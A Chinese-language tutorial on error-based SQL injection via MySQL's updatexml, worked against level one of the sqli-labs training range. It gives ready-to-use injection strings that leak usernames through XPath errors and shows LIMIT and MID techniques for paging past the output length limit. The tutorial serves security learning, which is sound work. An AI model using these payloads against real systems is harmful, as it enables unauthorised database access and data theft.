updatexml函数用法
updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式
实验环境
本次实验使用的是github上开源的sqli-labs训练靶场的第一关
解决方法
这里我们以/Less-1为例
http://192.168.8.158:90/Less-1/?id=1' and updatexml(1,concat(0x23,(select
group_concat(username) from security.users)),1) -- +
此时发现回显数据超过一行,无法显示
第一种方法:
这个时候limit函数的作用就出现了
limit函数
limit 0,1, 从表中的第0个数据开始,只读取一个
输入:?id=1' and updatexml(1,concat(0x23,(select username from users limit 0,1 )),0) -- +
我们只需要变更limit后的第一个参数值就可以把数据一一显示出来
以此类推可以读取所有字段
第二种方法:
使用mid函数:
MID 函数用于从文本字段中提取字符。
mid()函数语法如下:
SELECT MID(column_name,start[,length]) FROM table_name
其中第一个参数是要提取的表名,第二个参数为起始位置,第三个参数为返回的字符个数(最多返回31个字符)
输入:
?id=1' and updatexml(1,concat(0x23,mid((select group_concat(username) from security.users),1,31)),1) -- +
我们只需要变更mid后的第二个参数值就可以把数据全部显示出来
输入:
?id=1' and updatexml(1,concat(0x23,mid((select group_concat(username) from security.users),32,31)),1) -- +
输入:
?id=1' and updatexml(1,concat(0x23,mid((select group_concat(username) from security.users),63,31)),1) -- +
相比之下我个人觉得mid方法相对于limit读取数据更快一些~